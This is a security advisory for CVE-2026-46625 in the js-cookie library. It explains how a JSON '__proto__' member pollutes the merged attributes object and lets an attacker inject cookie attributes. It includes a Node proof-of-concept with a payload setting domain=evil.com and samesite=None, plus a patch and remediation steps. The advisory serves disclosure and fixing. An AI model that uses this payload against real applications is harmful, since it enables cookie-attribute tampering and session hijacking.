CVE-2026-46625: JavaScript Cookie: Per-instance prototype hijack in assign() enables cookie-attribute injection
Summary
js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys.
Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down.
Impact
Any application that forwards a JSON-derived object as the attributes argument to Cookies.set, Cookies.remove, Cookies.withAttributes, or Cookies.withConverter is vulnerable. This is the standard pattern when cookie configuration comes from a backend:
js const cfg = await fetch('/config').then(r => r.json()); Cookies.set('session', token, cfg.cookieAttrs); // cfg.cookieAttrs influenced by attacker
A payload of {"proto":{"domain":"evil.example","secure":"false","samesite":"None"}} causes js-cookie to emit:
Set-Cookie: session=TOKEN; path=/; domain=evil.example; secure=false; samesite=None
Affected code
js // src/assign.mjs — full file export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] for (var key in source) { // includes own enumerable 'proto' target[key] = source[key] // [[Set]] form - fires proto setter } } return target } Proof of concept
Node 22.11.0, no third-party deps:
Environment setup bash mkdir -p /tmp/jscookie-poc && cd /tmp/jscookie-poc npm init -y npm i js-cookie
PoC js ubuntu@kuber:/tmp/jscookie-poc$ cat poc.mjs let lastSetCookie = ''; globalThis.document = { get cookie() { return ''; }, set cookie(v) { lastSetCookie = v; } };
const { default: Cookies } = await import('js-cookie');
const attackerAttrs = JSON.parse( '{"proto":{"secure":"false","domain":"evil.com","samesite":"None","expires":-1}}' );
Cookies.set('session', 'TOKEN', attackerAttrs);
console.log('Set-Cookie that js-cookie wrote to document.cookie:'); console.log(lastSetCookie);
Execution: <img width="2614" height="1174" alt="cls-2026-05-14-01 44 39" src="https://github.com/user-attachments/assets/120df1fe-7e97-4ca3-904e-ab80d71ecf62" />
Suggested patch
diff --- a/src/assign.mjs +++ b/src/assign.mjs @@ export default function (target) { for (var i = 1; i < arguments.length; i++) { var source = arguments[i] - for (var key in source) { - target[key] = source[key] - } + for (var key in source) { + if (key === 'proto' || key === 'constructor' || key === 'prototype') continue + Object.defineProperty(target, key, { + value: source[key], + writable: true, + enumerable: true, + configurable: true, + }) + } } return target }
Equivalent one-liner alternative - iterate own names only and filter:
js for (const key of Object.getOwnPropertyNames(source)) { if (key === 'proto') continue target[key] = source[key] }
Other sources
JavaScript Cookie is a JavaScript API for handling cookies, client-side. Prior to version 3.0.7, js-cookie's internal assign() helper copies properties with for...in + plain assignment. When the source object is produced by JSON.parse, the JSON object's "proto" member is an own enumerable property, so the for…in enumerates it and the target[key] = source[key] write triggers the Object.prototype.proto setter on the fresh target ({}). The result is a per-instance prototype hijack: Object.prototype itself is untouched, but the merged attributes object now inherits attacker-controlled keys. Because the consuming set() function then enumerates the merged object with another for...in, every key the attacker placed on the polluted prototype lands in the resulting Set-Cookie string as an attribute pair. The attacker can set domain=, secure=, samesite=, expires=, and path= on cookies whose attributes the developer thought were locked down. This issue has been patched in version 3.0.7.
— MITRE
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
npm/js-cookieto a version that resolves this vulnerability.Fixed in 3.0.7 - Upgrade
Upgrade
js-cookieto a version that resolves this vulnerability.Fixed in 3.0.7 - Configuration
Update js-cookie to v3.0.7 or apply the assign() change so property copying does not use `for...in`/plain assignment that allows `__proto__` injection; specifically ignore `key === '__proto__' || key === 'constructor' || key === 'prototype'` and copy only own property names (e.g., via `Object.getOwnPropertyNames`).
js-cookie (internal assign helper in src/assign.mjs) Prototype/key filtering for attributes merge = Skip keys when key is '__proto__', 'constructor', or 'prototype' (and iterate own property names instead of for...in)
Event History
Frequently Asked Questions
What is the severity of CVE-2026-46625?
CVE-2026-46625 has a severity score of 7.5, indicating a high level of risk.
How do I fix CVE-2026-46625?
To fix CVE-2026-46625, update `js-cookie` to the latest version where the vulnerability has been addressed.
What type of attack can CVE-2026-46625 lead to?
CVE-2026-46625 can lead to prototype pollution, which may allow attackers to modify the behavior of the application.
Which software is affected by CVE-2026-46625?
CVE-2026-46625 affects the `js-cookie` library used in JavaScript applications.
What is the impact of CVE-2026-46625 on data integrity?
CVE-2026-46625 allows for unauthorized modification of the target object's properties, thus impacting data integrity.